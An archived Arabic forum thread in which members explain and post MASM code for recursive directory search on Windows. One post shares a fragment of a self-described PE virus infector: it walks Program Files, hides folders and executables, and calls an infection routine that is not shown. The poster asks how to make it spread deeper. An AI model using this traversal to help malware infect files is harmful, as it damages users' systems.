الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

Recursive File Search

رائج
بدأه Xacker في 9 يوليو 2008 · 56 رد · 10,747 مشاهدة · في المواضيع المميزة
مشاركة: واتساب X فيسبوك تيليجرام
#26

السلام عليكم ورحمة الله وبركاته

استاذي xacker

اقصد عرض المجلدات التي داخل القرص

مثل

c:\\

يحتوي على

newfolder1

newfolder2

newfolder3

arabteam.txt

arabteam.txt

واعمل بحث بواسطة الدالتين

findfirst

findnext

في القرص

c:\\

عن

arabteam.txt

لا يدخل المجلدات ويكتفي في البحث داخل

c:\\

وشكرا

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#27

فهمت.

انظر، يمكنك اعتماد هذا السيناريو الذي اتمنى ان يكون واضحاً (لانه بصراحة مخي مش مع الاسمبلي هلأ وانما مع الـ flip-flops :wacko:)

1. ابحث عن الملفات النصية مثلا في المجلد الحالي بعد ان تقوم بوضعه باستخدام SetCurrentDirectory.

- استخدم FindFirstFile و FindNextFile

- عندما لا تعود FindNextFile قادرة على ايجاد ملفات انتقل الى البحث عن المجلدات الموجودة في المجلد الحالي باستخدام الخطوة الثانية.

2. استخدم FindFirstFile للبحث عن الملفات من كافة الأنواع *.*

- تجاوز الملف فيما اذا كان الحرف الأول من اسم الملف هو "." (قم باستخدام أمر dir في الدوس لعرض مجلد ما وستعلم ما أعنيه.. عندما تقوم بالبحث عن *.* فانت تبحث عن الملفات والمجلدات ما وبالنسبة لنظام التشغيل هناك "شئ" لاني لا اعلم ما التسمية الصحيحة له.. اسمه "." و آخر اسمه ".." الأول للدلالة على المجلد الحالي والثاني للعودة للمجلد السابق)

- يمكنك اعتماد WIN32_FIND_DATA > cFileName للحصول على الاسم الخاص بالملف لأن FindFirstFile و FindNextFile تعتمد عليه.

- في حال لم يكن اسم الـ "شئ" الذي تم ايجاده يبدأ بـ "." قم بفحص خصائص هذا الشئ

هل dwFileAttributes تساوي إحدى القيم التالية فهي مجلد:

FILE_ATTRIBUTE_DIRECTORY

FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_READONLY

FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_HIDDEN

FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM

طبعا كما ترى هناك احتمال ان يكون المجلد للقراءة فقط او مجلد نظام او مخفي وفي كل حالة القيمة تتغير لذلك عليك جمع القيم وفحصها كلها.

عندما تتأكد أن هذا الشئ هو مجلد فانك تجعله المجلد الحالي SetCurrentDirectory ومن ثم تقوم باستدعاء وظيفة البحث عن الملفات النصية مثلا بداخله إلى أن تنتهي الوظيفة وتعيد النتائج.

- قم بحفظ مسار المجلد الحالي لانك ستحتاج للعودة اليه لاحقاً.

- قم باستدعاء وظيفة البحث عن كافة الملفات والمجلدات مرة أخرى وأنت بداخل هذا المجلد الجديد وكرر نفس الخطوات السابقة.

- كرر

- كرر (هذا التكرار هو الـ recursive)

- لم يعد هناك اي ملفات أو اي مجلدات؟

- ستعود الدالة الى خارج وظيفة البحث عن كافة الملفات والمجلدات الى الدالة التي تم استدعاؤها سابقا بشكل اوتوماتيكي.

- قم باستعادة المجلد الحالي الى المجلد السابق الذي قمت بحفظه. الجميل في الأمر أن كتلة WIN32_FIND_DATA ما زالت تحتفظ بعنوان المجلد التالي كي لا تقوم بالعودة الى نفس المجلد السابق الذي تم الدخول اليه مرة أخرى.

- استدع FindNextFile وستتكفل WIN32_FIND_DATA باعطاء اسم الملف او المجلد الثاني وتتجاهل السابق.

- تم ايجاد ملف او مجلد؟ ستعود الدالة لتقوم بتكرار نفسها بنفس الطريقة السابقة مرة اخرى, انت فقط كتبت الصيغة المنطقية لكي تتبعها, الى ان ينتهي المجلد الثاني وكل ما فيه من ملفات ومجلدات ثانوية بنفس الطريقة.

- وهكذا

- ويدوم ويدوم ويدوم :lol:

ستجد في النهاية انه تم فحص كل المجلدات والملفات ان شاء الله.

قم بكتابة برنامجك خطوة خطوة. بشكل بسيط في البداية اجعله يبسط انطلاقا من مجموعة ملفات ومجلدات ثانوية اختبارية تقوم انت بانشاءها وضمن عمق معين وملفات معينة كي تتأكد من أنه يعمل. قم باستخدام برنامج البحث الخاص بويندوز لتقوم بالبحث عن الملفات كلها الموجودة في مجلد ما عميق جدا ضمن النظام وانظر كم النتائج المعادة. قم بتطبيق برنامجك على نفس المجلد وانظر النتائج.. هل تتطابق؟

اسأل ان كان لديك سؤال ولا تتردد

بالتوفيق

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#28

الف الف شكر استاذي

هذا هو الشرح

فكرة+ايضاح

لا كود جاهز

ساطبقه اليوم إن شاء الله

سلااااااااااااااااااااااااام

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#29

اصدقك القول لولا امتحاناتي الآن لتابعت الموضوع بالتفصيل خطوة بخطوة، حتى هناك فكرة ايضا لكتابة Registry recursive search للبحث عن قيمة ما في كل الـ registry.

لكن هناك المهم وهناك الأهم الآن.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#30

السلام عليكم ورحمة الله وبركاته

استاذي xacker

الله يوفقك في امتحاناتك "اسف على السوال ماذا تدرس"

قرات الشرح واتضح لي شى وهو اني لما كنت استخدم الدالة

firstfind

اني كنت اضع قيمة المعامل الخاص بخصاص الملف الرقم صفر الخاص بخاصية

NORMAL

ولكن عن تديلها الى

FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_HIDDEN

ضهرت المجلدات الخاصة بالقرص

ثم ارفقت اسماء الملفات والمجلدات وقمت بمقارنت الملف او المجلد الذي ظهر

if(filename=='.')

واتبعت نفس السيناريو و كل شي تمام

لكن لم اجرب البحث داخل المجلدات التي سافرضها في البداية

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#31

السلام عليكم ورحمة الله وبركاته

استاذي xacker

الله يوفقك في امتحاناتك "اسف على السوال ماذا تدرس"

قرات الشرح واتضح لي شى وهو اني لما كنت استخدم الدالة

firstfind

اني كنت اضع قيمة المعامل الخاص بخصاص الملف الرقم صفر الخاص بخاصية

NORMAL

ولكن عن تديلها الى

FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_HIDDEN

ضهرت المجلدات الخاصة بالقرص

ثم ارفقت اسماء الملفات والمجلدات وقمت بمقارنت الملف او المجلد الذي ظهر

if(filename=='.')

'.'

windows : folder

new.exe : file

وهي التي تميز الملف من المجلد

واتبعت نفس السيناريو و كل شي تمام

لكن لم اجرب البحث داخل المجلدات التي سافرضها في البداية

ساجربها هذه الايام وبعد النتهاء إن شاء الله شاخبرك بالنتائج

وشكرا

تم تعديل هذه المشاركة بواسطة THE PIC في 12 سبتمبر 2008 في 22:58

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#32

سابقا، 3/5 مهندس مدني :P

حاليا، 1/5 مهندس معلوماتية وان شاء الله أكمل هذا المجال للنهاية فهو ما أهوى منذ صغري.

ومن الجيد أنك تأتي بالنتائج بهذه السرعة ;) وفقك الله

تم تعديل هذه المشاركة بواسطة Xacker في 12 سبتمبر 2008 في 23:50

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#33

السلام عليكم ورحمة الله وبركاته

استاذي xacker

نحنا تقريبا في نفس السن ولكن الفرق في المستوى ولكن اشاء الله بعد هذا التشجيع

ساصل الى ما اريده

وإن شاء الله

تصل الى ما تريد

وشكرا

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#34

بالتوفيق

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#35

السلام عليكم ورحمة الله وبركاتة

استاذي xacker

اشتغلت على البرنامج لكن هل تجعله في البداية يظهر المجلدات الملفات التي تحمل الاسم المراد البحث عنه و كل المجلدات ثم الدخول الى اول مجلد والبحث فيه ثم تكرار العمليمة لكن المشكلة في الرجوع الى المجلد الذي قبله لان ال

path

قد تغير

path=c:\windows\system

كيف سارجع الى المجلد التالي لي ال

path

ليكن

path=c:\windows

ثم

path=c:\programfiles

هل ممكن شرح الية البحث

//////////////////////////////////////////////

كان عندي اسئلة عن موضوع اخر لا استطيع النوم بسبها اذا كنت كملت امتحاناتك وتستطيع الاجابة عليها ساقول لك الاسئلة" بدون احراج"

///////////////////////////////////////////////////////////////////////////

وشكراااااااااا

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#36
Xacker كتب:
عندما تتأكد أن هذا الشئ هو مجلد فانك تجعله المجلد الحالي SetCurrentDirectory ومن ثم تقوم باستدعاء وظيفة البحث عن الملفات النصية مثلا بداخله إلى أن تنتهي الوظيفة وتعيد النتائج.

- قم بحفظ مسار المجلد الحالي لانك ستحتاج للعودة اليه لاحقاً.

.....

.....

- قم باستعادة المجلد الحالي الى المجلد السابق الذي قمت بحفظه. الجميل في الأمر أن كتلة WIN32_FIND_DATA ما زالت تحتفظ بعنوان المجلد التالي كي لا تقوم بالعودة الى نفس المجلد السابق الذي تم الدخول اليه مرة أخرى.

هذا هو جواب سؤالك، هل يفيدك التذكير بهذا أم تحتاج للتوضيح أكثر؟

للأسف امتحاناتي لا تنتهي حتى نهاية الشهر الحالي.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#37

السلام عليكم

على فكرة انا اتعمل مع البرنامج تحت 16بيت

لست متاكد من ايجاد الدلة

SetCurrentDirectory

وان لم اجدها ساكتب البرنامج ب

vc++ compiler

المهم

الله يعينك على الامتحانات ولنا لقئ

اما اكمل البرنامج

او تخلص الامتحانات

وشكرااااااا

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#38

أنا أبحث عن شيء من هذا القبيل ويبدو أن المشكل ليس في الدوال بل في الخوارزمية التي ستبحث بتعمق...

هذا مقطع من Virus PE infector برمجته من مدة لكن عيبه أنه لا يلوث سوى ProgramFiles ومجلد واحد فقط فيه

وإن كان الأمر يتعلق بمجلدين فإن الفايروس لتوقف بالخطأ...

هذا مقطع منه : البحث عن مجلد داخل مجلد

Virus proc
startvirus:
	invoke ExpandEnvironmentStrings,addr TargetFile,addr winBuffer,sizeof winBuffer
	invoke lstrcpyn,addr TargetPur,addr winBuffer,4
	invoke lstrcat,addr TargetPur,addr ProgFile
	invoke lstrcpy,addr ProgramFileBuffer,addr TargetPur
	invoke lstrcat,addr TargetPur,addr all
	invoke FindFirstFile,addr TargetPur,addr fdata
	mov hSearch,eax
	nextFile:
	invoke lstrcpy,addr NewDossier,addr fdata.cFileName
	invoke FindFileEXEFromDossier
	invoke FindNextFile,hSearch,addr fdata
	cmp eax,0
	jnz nextFile
	invoke FindClose,hSearch
	jnz startvirus	
	invoke ExitProcess,0
	ret

Virus endp

FindFileEXEFromDossier proc
invoke lstrcpy,addr NewTarget,addr ProgramFileBuffer
invoke lstrcat,addr NewTarget,CTXT("\")
invoke lstrcat,addr NewTarget,addr NewDossier
invoke SetFileAttributes,addr NewTarget,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
invoke 	lstrcat,addr NewTarget,CTXT("\*.exe")
invoke FindFirstFile,addr NewTarget,addr fdata
mov hSearchFile,eax
nextexe:
invoke lstrlen,addr NewTarget
sub eax,4
invoke lstrcpyn,addr NewFullTarget,addr NewTarget,eax
invoke lstrcat,addr NewFullTarget,addr fdata.cFileName
invoke SetFileAttributes,addr NewFullTarget,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
invoke plOpenFile,PL_NO_OPEN_DIALOG,addr NewFullTarget
.if eax==1
	invoke infectFile
.endif
invoke plCloseFile
invoke FindNextFile,hSearchFile,addr fdata	
cmp eax,0
jnz nextexe
invoke FindClose,hSearchFile
invoke plCloseFile
ret

FindFileEXEFromDossier endp

إذا فهمت ما يقصد من الموضوع فإنها مشكلتي أيضا فأرجوا من أحد الإخوة شرح الطريقة

تم تعديل هذه المشاركة بواسطة mouradpr في 21 سبتمبر 2008 في 00:02

#39

بعد يوم الغد أستطيع مساعدتك THE PIC و mouradpr إن شاء الله في موضوعكم بشكل أكثر فعالية لأن بقية الامتحانات تغدو بسيطة إن شاء الله.

@THE PIC:

مممم, موضوع كتابته تحت 16بت سيزعجك جداً، لنقل إن شاء الله نستطيع تجاوز هذه النقطة.

@mouradpr:

فهمته ومن الواضح أنه لا ينتقل ضمن المجلدات بل يقوم بالبحث عن الملفات الموجودة في المسار الحالي.

بالتوفيق ونلتقي مجدداً قريباً.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#40

السلام عليكم ورحمة الله وبركاتة

انضاف معجب جديد في الموضوع وهو الاخ

mouradpr

وإن شاء الله نستطيع كتابة خوارزمية البحث في المجلدات

اما استاذي

xacker

فانا بانتضارك إن شاء الله وانا اصلا لا افهم معنئ البرمجة تحت 16بيت او تحت 32بيت

الذي فهمته هو استخدام سعة المسجلات

لاني غير مقتنع باللبرمجة باستخدام دوال النظام

API

هل البرمجة بلغة الاسمبلي والسي بلس بلس

هي العتماد عائ ما توفره اللغة الام

وشكرا

الحياة رهان كبير مثل الرهان العادي في الثاني تفوز بالحظ اما في الاول فتفوز بالجد

#41

كنت قد أضفت دالة برمجتها تتأكد إن كان ما نبحث عنه ملف أو مجلد ...

لكن إكتشفت في الأخير أنها خطأ لأني كنت أستعمل CreateFileA والناتج أنها ترجع -1 إدا لم تستطع أيضا جلب المقبض للملف... وفشلت...

هناك ما يسمى بخوارزمية الشجرة... لكن المشكل أيضا في جلب طول الشجرة فنحن لا ندري كم عدد المجلدات!!

وفي الختام أشكر الجميع على المشاركة وأتمنى أن يتم وضع وشرح الخوارزمية أيضا إن كانت غامضة شيئا ما :)

اقتباس
API

هل البرمجة بلغة الاسمبلي والسي بلس بلس

لم أفهم قصدك... لكن دوال النظام يمكنك إستعمالها في أي لغة تريد تقريبا.. وتبقى الأسمبلي 32 أفضل وتليها C/C++

أنظر قسم API هناك عدة أمثلة بلغات مختلفة لعدة دوال

وسلامي لكم

#42

سأكتب مثال على السريع بـmasm32 ... بعد الصلاة :D

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

#43
 

scan [color= #7f00ff;]proc path[color= #0000ff;]:[color= #7f00ff;]ptr [color= #aa007f;]byte

	[color= #7f00ff;]LOCAL scanpath[color= #0000a0; font-weight: bold;][MAX_PATH[color= #0000a0; font-weight: bold;]][color= #0000ff;]:[color= #aa007f;]byte

	[color= #7f00ff;]LOCAL buffer[color= #0000a0; font-weight: bold;][[color= #7f7f7f;]512[color= #0000a0; font-weight: bold;]][color= #0000ff;]:[color= #aa007f;]byte

	[color= #7f00ff;]LOCAL wfd[color= #0000ff;]:WIN32_FIND_DATA

	[color= #7f00ff;]LOCAL handle[color= #0000ff;]:[color= #aa007f;]dword

 

	[color= #0000ff; font-weight: bold;]invoke RtlZeroMemory[color= #0000ff;], [color= #aa007f;]addr scanpath[color= #0000ff;], [color= #7f00ff;]sizeof scanpath

	[color= #0000ff; font-weight: bold;]invoke lstrcpyn[color= #0000ff;], [color= #aa007f;]addr scanpath[color= #0000ff;], path[color= #0000ff;], [color= #7f00ff;]sizeof scanpath [color= #0000ff;]- [color= #7f7f7f;]3

	[color= #0000ff; font-weight: bold;]invoke lstrcat[color= #0000ff;], [color= #aa007f;]addr scanpath[color= #0000ff;], CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]"*"[color= #0000a0; font-weight: bold;])

 

	[color= #0000ff; font-weight: bold;]invoke FindFirstFile[color= #0000ff;], [color= #aa007f;]addr scanpath[color= #0000ff;], [color= #aa007f;]addr wfd

	[color= #0000ff; font-weight: bold;].if [color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax != INVALID_HANDLE_VALUE[color= #0000a0; font-weight: bold;])

		[color= #ff007f;]mov handle[color= #0000ff;], [color= #7f7f40;]eax

		[color= #0000ff; font-weight: bold;].repeat

			[color= #0000ff; font-weight: bold;]invoke lstrcmp[color= #0000ff;], [color= #aa007f;]addr wfd[color= #0000ff;].cFileName[color= #0000ff;], CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]"."[color= #0000a0; font-weight: bold;])

			[color= #ff007f;]mov [color= #7f7f40;]esi[color= #0000ff;], [color= #7f7f40;]eax

			[color= #0000ff; font-weight: bold;]invoke lstrcmp[color= #0000ff;], [color= #aa007f;]addr wfd[color= #0000ff;].cFileName[color= #0000ff;], CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]".."[color= #0000a0; font-weight: bold;])

			[color= #0000ff; font-weight: bold;].if	[color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax && [color= #7f7f40;]esi[color= #0000a0; font-weight: bold;])

				[color= #ff007f;]mov [color= #7f7f40;]eax[color= #0000ff;], wfd[color= #0000ff;].dwFileAttributes

				[color= #ff007f;]and [color= #7f7f40;]eax[color= #0000ff;], FILE_ATTRIBUTE_DIRECTORY

				[color= #0000ff; font-weight: bold;].if	[color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax[color= #0000a0; font-weight: bold;])				[color= #007f00; font-style: italic;]; directory -> call self

					[color= #0000ff; font-weight: bold;]invoke wsprintf[color= #0000ff;], [color= #aa007f;]addr scanpath[color= #0000ff;], CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]"%s%s"[color= #0000a0; font-weight: bold;])[color= #0000ff;], path[color= #0000ff;], [color= #aa007f;]addr wfd[color= #0000ff;].cFileName

					[color= #0000ff; font-weight: bold;]invoke scan[color= #0000ff;], [color= #aa007f;]addr scanpath

				[color= #0000ff; font-weight: bold;].else						[color= #007f00; font-style: italic;]; normal file -> print path

					[color= #007f00; font-style: italic;]; print file path and info

				[color= #0000ff; font-weight: bold;].endif

			[color= #0000ff; font-weight: bold;].endif

			[color= #0000ff; font-weight: bold;]invoke FindNextFile[color= #0000ff;], handle[color= #0000ff;], [color= #aa007f;]addr wfd

		[color= #0000ff; font-weight: bold;].until	[color= #0000a0; font-weight: bold;](![color= #7f7f40;]eax[color= #0000a0; font-weight: bold;])

		[color= #0000ff; font-weight: bold;]invoke FindClose[color= #0000ff;], handle

	[color= #0000ff; font-weight: bold;].endif

	[color= #ff007f;]ret

scan [color= #7f00ff;]endp

مثال كامل في المرفقات :)

Recursive.rar

تم تعديل هذه المشاركة بواسطة GamingMasteR في 24 سبتمبر 2008 في 00:30

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

#44

المثال السابق لا يقوم بطباعة جميع الملفات بسبب صغر حجم البفر الذي يتحمله الـtext box العادي لذلك من الافضل استخدام المرفق حيث يتم تخزين الناتج في ملف ثم عرضه :wink:

Recursive_Fixed.rar

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

#45

سبب التعديل: مسحت الكود حتى أقوم بإزالة التعليقات منه لأنه لا يظهر بشكل واضح هنا.

الطريقة مختلفة عن طريقة GM. بالمناسبة يا GM الكود لديك جميل جداً ما شاء الله، مبتكر ;)

هناك بعض التعديلات البسيطة أجرها لو سمحت على الجزء الذي وضعته في الموقع ففيه بعض الهفوات الخفيفة (طبعا لا يوجد مشكلة في الملفات المرفقة).

سأقوم بتعديل الكود لدي لكي يكون أيضا بواجهة مرئية للاستفادة الأكبر وربما أجد أفكار أخرى.

---

خارج الموضوع: يا مان يجب أن نقوم بعمل مشروع ما في هذا القسم قبل أن ننام معه أيضا! :lol:

تم تعديل هذه المشاركة بواسطة Xacker في 24 سبتمبر 2008 في 05:52

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#46

أقترح :D

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

#47
GamingMasteR كتب:
أقترح :D

وليه ترميها علي؟ :lol:

نترك أحد آخر يقترح :wink: (بس بلاش أي شئ فيه kernel يا شباب عشان هكون مضطر أدرس أمور جديدة تماماً :blush: )

 

FindEXE	[color= #7f00ff;]proc

	[color= #7f00ff;]LOCAL	find[color= #0000ff;]:WIN32_FIND_DATA

	[color= #7f00ff;]LOCAL	hFind[color= #0000ff;]:[color= #aa007f;]DWORD

 

	[color= #0000ff; font-weight: bold;]invoke	FindFirstFile[color= #0000ff;],CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]"*.exe"[color= #0000a0; font-weight: bold;])[color= #0000ff;],[color= #aa007f;]addr find

	[color= #0000ff; font-weight: bold;].if [color= #7f7f40;]eax != INVALID_HANDLE_VALUE

		[color= #ff007f;]mov	hFind[color= #0000ff;],[color= #7f7f40;]eax

		[color= #0000ff; font-weight: bold;].repeat

			[color= #0000ff; font-weight: bold;]invoke	GetCurrentDirectory[color= #0000ff;],MAX_PATH[color= #0000ff;],[color= #aa007f;]addr cDir

			[color= #ff007f;]inc		[color= #7f7f40;]eax

			[color= #ff007f;]xchg	[color= #7f7f40;]ecx[color= #0000ff;],[color= #7f7f40;]eax

			[color= #0000ff; font-weight: bold;]invoke	lstrcpyn[color= #0000ff;],[color= #aa007f;]addr buffer[color= #0000ff;],[color= #aa007f;]addr cDir[color= #0000ff;],[color= #7f7f40;]ecx

			[color= #0000ff; font-weight: bold;]invoke	lstrlen[color= #0000ff;],[color= #aa007f;]addr buffer

			[color= #ff007f;]lea		[color= #7f7f40;]edi[color= #0000ff;],buffer

			[color= #ff007f;]cmp		[color= #aa007f;]byte [color= #7f00ff;]ptr [color= #0000a0; font-weight: bold;][[color= #7f7f40;]edi[color= #0000ff;]+eax[color= #7f7f7f;]-1[color= #0000a0; font-weight: bold;]][color= #0000ff;],[color= #0000a0;]""

			[color= #ff007f;]je		[color= #aa007f;]@F

			[color= #0000ff; font-weight: bold;]invoke	lstrcat[color= #0000ff;],[color= #aa007f;]addr buffer[color= #0000ff;],CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]""[color= #0000a0; font-weight: bold;])

		@@[color= #0000ff;]:

			[color= #0000ff; font-weight: bold;]invoke	lstrcat[color= #0000ff;],[color= #aa007f;]addr buffer[color= #0000ff;],[color= #aa007f;]addr find[color= #0000ff;].cFileName

			[color= #007f00; font-style: italic;]; buffer contains current file name that has been found

			[color= #007f00; font-style: italic;]; _________________________________________________

			[color= #007f00; font-style: italic;];/ Discard this portion if you don't want an output

			[color= #0000ff; font-weight: bold;]invoke	lstrcat[color= #0000ff;],[color= #aa007f;]addr buffer[color= #0000ff;],[color= #aa007f;]addr CRLF

			[color= #0000ff; font-weight: bold;]invoke	lstrlen[color= #0000ff;],[color= #aa007f;]addr buffer

			[color= #0000ff; font-weight: bold;]invoke	WriteFile[color= #0000ff;],hFile[color= #0000ff;],[color= #aa007f;]addr buffer[color= #0000ff;],[color= #7f7f40;]eax[color= #0000ff;],[color= #aa007f;]addr nBytes[color= #0000ff;],NULL

			[color= #007f00; font-style: italic;];_________________________________________________

			[color= #0000ff; font-weight: bold;]invoke	FindNextFile[color= #0000ff;],hFind[color= #0000ff;],[color= #aa007f;]addr find

		[color= #0000ff; font-weight: bold;].until [color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax == [color= #7f7f7f;]0[color= #0000a0; font-weight: bold;])	[color= #007f00; font-style: italic;]; until search handle return invalid > no more files/subdirs.

		[color= #0000ff; font-weight: bold;]invoke	FindClose[color= #0000ff;],hFind	[color= #007f00; font-style: italic;]; close search handle.

	[color= #0000ff; font-weight: bold;].endif

 

	[color= #ff007f;]ret

 

FindEXE [color= #7f00ff;]endp

 

FindDIR	[color= #7f00ff;]proc

	[color= #7f00ff;]LOCAL	find[color= #0000ff;]:WIN32_FIND_DATA

	[color= #7f00ff;]LOCAL	hFind[color= #0000ff;]:[color= #aa007f;]DWORD

 

	[color= #0000ff; font-weight: bold;]invoke	FindFirstFile[color= #0000ff;],CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]"*.*"[color= #0000a0; font-weight: bold;])[color= #0000ff;],[color= #aa007f;]addr find

	[color= #0000ff; font-weight: bold;].if [color= #7f7f40;]eax != INVALID_HANDLE_VALUE

		[color= #ff007f;]mov	hFind[color= #0000ff;],[color= #7f7f40;]eax

		[color= #0000ff; font-weight: bold;].repeat

			[color= #0000ff; font-weight: bold;].if [color= #0000a0; font-weight: bold;]([color= #aa007f;]byte [color= #7f00ff;]ptr [color= #0000a0; font-weight: bold;][find[color= #0000ff;].cFileName[color= #0000a0; font-weight: bold;]] != [color= #0000a0;]"."[color= #0000a0; font-weight: bold;])

				[color= #ff007f;]xor	[color= #7f7f40;]ecx[color= #0000ff;],[color= #7f7f40;]ecx

				[color= #ff007f;]lea	[color= #7f7f40;]edi[color= #0000ff;],attribs

				[color= #0000ff; font-weight: bold;].repeat

					[color= #ff007f;]mov		[color= #7f7f40;]eax[color= #0000ff;],[color= #aa007f;]dword [color= #7f00ff;]ptr [color= #0000a0; font-weight: bold;][[color= #7f7f40;]edi[color= #0000ff;]+[color= #7f7f40;]ecx[color= #0000a0; font-weight: bold;]]

					[color= #ff007f;]bswap	[color= #7f7f40;]eax

					[color= #0000ff; font-weight: bold;].if	[color= #0000a0; font-weight: bold;](find[color= #0000ff;].dwFileAttributes == [color= #7f7f40;]eax[color= #0000a0; font-weight: bold;])

						[color= #ff007f;]jmp	[color= #aa007f;]@F

					[color= #0000ff; font-weight: bold;].endif

					[color= #ff007f;]add		[color= #7f7f40;]ecx[color= #0000ff;],[color= #7f7f7f;]4

				[color= #0000ff; font-weight: bold;].until [color= #0000a0; font-weight: bold;]([color= #7f7f40;]ecx == [color= #7f7f7f;]92[color= #0000a0; font-weight: bold;])

				[color= #ff007f;]jmp	nextf

			@@[color= #0000ff;]:

					[color= #0000ff; font-weight: bold;]invoke	SetCurrentDirectory[color= #0000ff;],[color= #aa007f;]addr find[color= #0000ff;].cFileName

					[color= #0000ff; font-weight: bold;].if [color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax == [color= #7f7f7f;]1[color= #0000a0; font-weight: bold;])	[color= #007f00; font-style: italic;]; avoid access denied fault

						[color= #0000ff; font-weight: bold;]invoke	FindEXE		[color= #007f00; font-style: italic;]; search for files inside it.

						[color= #0000ff; font-weight: bold;]invoke	FindDIR		[color= #007f00; font-style: italic;]; recursively search for directories inside it.

						[color= #0000ff; font-weight: bold;]invoke	SetCurrentDirectory[color= #0000ff;],CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]".."[color= #0000a0; font-weight: bold;])

					[color= #007f00; font-style: italic;]; _____________________________________________

					[color= #007f00; font-style: italic;];/ discard this portion if you don't want a log

					[color= #0000ff; font-weight: bold;].else

						[color= #0000ff; font-weight: bold;]invoke	GetCurrentDirectory[color= #0000ff;],MAX_PATH[color= #0000ff;],[color= #aa007f;]addr cDir

						[color= #0000ff; font-weight: bold;]invoke	lstrlen[color= #0000ff;],[color= #aa007f;]addr cDir

						[color= #0000ff; font-weight: bold;]invoke	WriteFile[color= #0000ff;],hLog[color= #0000ff;],[color= #aa007f;]addr cDir[color= #0000ff;],[color= #7f7f40;]eax[color= #0000ff;],[color= #aa007f;]addr nBytes[color= #0000ff;],NULL

						[color= #0000ff; font-weight: bold;]invoke	WriteFile[color= #0000ff;],hLog[color= #0000ff;],CTXT[color= #0000a0; font-weight: bold;]([color= #0000a0;]""[color= #0000a0; font-weight: bold;])[color= #0000ff;],[color= #7f7f7f;]1[color= #0000ff;],[color= #aa007f;]addr nBytes[color= #0000ff;],NULL

						[color= #0000ff; font-weight: bold;]invoke	lstrlen[color= #0000ff;],[color= #aa007f;]addr find[color= #0000ff;].cFileName

						[color= #0000ff; font-weight: bold;]invoke	WriteFile[color= #0000ff;],hLog[color= #0000ff;],[color= #aa007f;]addr find[color= #0000ff;].cFileName[color= #0000ff;],[color= #7f7f40;]eax[color= #0000ff;],[color= #aa007f;]addr nBytes[color= #0000ff;],NULL

						[color= #0000ff; font-weight: bold;]invoke	WriteFile[color= #0000ff;],hLog[color= #0000ff;],[color= #aa007f;]addr CRLF[color= #0000ff;],[color= #7f7f7f;]2[color= #0000ff;],[color= #aa007f;]addr nBytes[color= #0000ff;],NULL

					[color= #007f00; font-style: italic;];_____________________________________________

					[color= #0000ff; font-weight: bold;].endif

				nextf[color= #0000ff;]:

			[color= #0000ff; font-weight: bold;].endif

			[color= #0000ff; font-weight: bold;]invoke	FindNextFile[color= #0000ff;],hFind[color= #0000ff;],[color= #aa007f;]addr find

		[color= #0000ff; font-weight: bold;].until [color= #0000a0; font-weight: bold;]([color= #7f7f40;]eax == [color= #7f7f7f;]0[color= #0000a0; font-weight: bold;])

		[color= #0000ff; font-weight: bold;]invoke	FindClose[color= #0000ff;],hFind

	[color= #0000ff; font-weight: bold;].endif

	[color= #ff007f;]ret

 

FindDIR [color= #7f00ff;]endp

بالمناسبة GM، بعض المجلدات على شكل غير متوقع تعطي Access Denied من داخل التنفيذ عندما أستخدم SetCurrentDirectory معها مثل التالي، في جهازي

C:\Documents and Settings\All Users\Application Data\Adobe\Adobe PDF

C:\Program Files\Adobe\Acrobat 8.0\Resource\CMap

مر معك مثل هذه الحالة من قبل؟

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#48

ماشي بس اللي يقترح يشارك -_-

بالنسبة للدالة المذكورة لم تواجهني مشكلة مثل هذه من قبل , جرّب اللعب في خصائص المجلد يدوياً وجرّب بعد ذلك :D

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

#49
